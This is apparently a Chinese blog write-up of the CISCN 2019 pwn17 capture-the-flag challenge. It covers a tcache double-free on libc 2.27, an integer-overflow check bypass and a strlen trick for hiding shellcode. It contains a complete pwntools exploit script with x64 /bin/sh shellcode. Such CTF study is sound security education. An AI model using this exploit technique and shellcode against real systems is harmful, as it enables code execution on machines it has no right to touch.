【逆向学习记录】Tcachebin CISCN_2019_PWN17 Write up

1 概述

这几天做了一个libc2.27的题目,了解到tcachebin的基础内容,发现利用这个tcachebin,反而导致漏洞更好利用了

2 CTF题目

题目1:CISCN2019_pwn6
参考:pwn6_exp
题目2:CISCN2019_pwn17

3 解题思路

3.1 题目解析

1,输入内容,基本上没有任何内容提示

在这里插入图片描述

2、反编译查看

1、存在一个check,绕过这个check,是一个整数溢出

在这里插入图片描述
如果输入的input_number等于这个值,通过类型强转化为signed int(32位),就是0 了
在这里插入图片描述

2、在执行shellcode之前,还有第二个比较操作,需要满足

在这里插入图片描述

3、即使输入shellcode,也需要满足下面这个条件:异或

在这里插入图片描述
绕过方法:
1、shellcode 计算异或之后输入
2、在shellcode之前添加一段指令,保证 strlen 很短,shellcode不用校验

4、查找漏洞点

free之后,没有置空,可以造成double free
在这里插入图片描述

4 EXP解读

主要思路:

  • 通过doubleFree构造“泄露”可用的地址
  • 通过覆盖可以,篡改已知字符串
  • 绕过最后的check,进行命令执行

1、绕过check,目前的堆栈是:
在这里插入图片描述
2、需要add一次,堆栈图如下:
在这里插入图片描述
3、delete一次之后:
在这里插入图片描述
堆栈内容并没有什么变化,但是释放之后,会进入tcachebins
在这里插入图片描述
4、再释放一次:注意第二个堆的fd的位置,发生的变化:

在这里插入图片描述
在这里插入图片描述
这时候,可以看到tachebins里面中的fd指针指向了自己。如果可以修改自己的内容,就相当于修改了下一次申请的地址空间。
6、因此,add一次(由于是分次调试的,显示的地址,可能稍微有点不同,但是后面几位是相同的):
在这里插入图片描述
在这里插入图片描述
这里为什么是0x90:因为tcachebin中地址是fd的地址,不是chunk的地址,所以为了指向chunk为0x80的地方,这里是0x90
7、然后再add一次,仍然从tcachebin中进行分配,并修改里面的内容,就相当于获取了之前分配的地址,修改固定的字符串,这里就不画了。

add(0x7f,"\x90")
add(0x7f,"The cake is a lie!\x00")

8、绕过后面异或的check
后面的异或:有个check,考察的是strlen,遇\x00截断,因此,寻找指令,可以绕过strlen的长度:

push 0
mov eax 

>>> asm("mov eax,0")
'\xb8\x00\x00\x00\x00'
>>> asm("push 0")
'j\x00'

最终就是上面git的exp(抄过来的)

#coding=utf-8
from pwn import *
local = 1
argv=[""]
context.terminal=["tmux","splitw","-h"]
if local :
    a=process("./pwn")
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    a=remote("",)
    libc=ELF("")
def debug():
    gdb.attach(a,'''
    b *(0x555555554000+0x00000000000103A)
b *(0x555555554000+0x000000000000E9E)
    ''')
def menu(idx):
    a.recvuntil("> ")
    a.sendline(str(idx))
def add(size,content):
    menu(1)
    menu(size)
    a.recvuntil("> ")
    a.send(content)
def delete():
    menu(2)
def check():
    a.recvuntil("> ")
    a.sendline("1")
    a.recvuntil("> ")
    a.sendline("-268435456")
#debug()
check()

add(0x7f,'AAA')
delete()
delete()
#debug()
add(0x7f,'\x90')
add(0x7f,'\x90')
add(0x7f,"The cake is a lie!\x00")
menu(3)
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


shellcode = asm("push 0")+shellcode_x64

a.recvuntil("> ")
a.send(shellcode)

a.interactive()

5 tcachebins

  1. tcachebins 和fastbins的区别:
    -------->tcachebins 指向的是fd的地址,fastbins 指向的是chunk的地址
    -------->tcachebins 不存在严格校验,fastbins的校验条件会更苛刻一点
    -------->tcachebins 的数量有限7个,大小比fastbins
    参考libc2.26 之后的tcache机制
  2. tcache 和 fastbin在free中并没有被清除inuse标志,所以他们被认为是处于使用状态,不会被合并
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章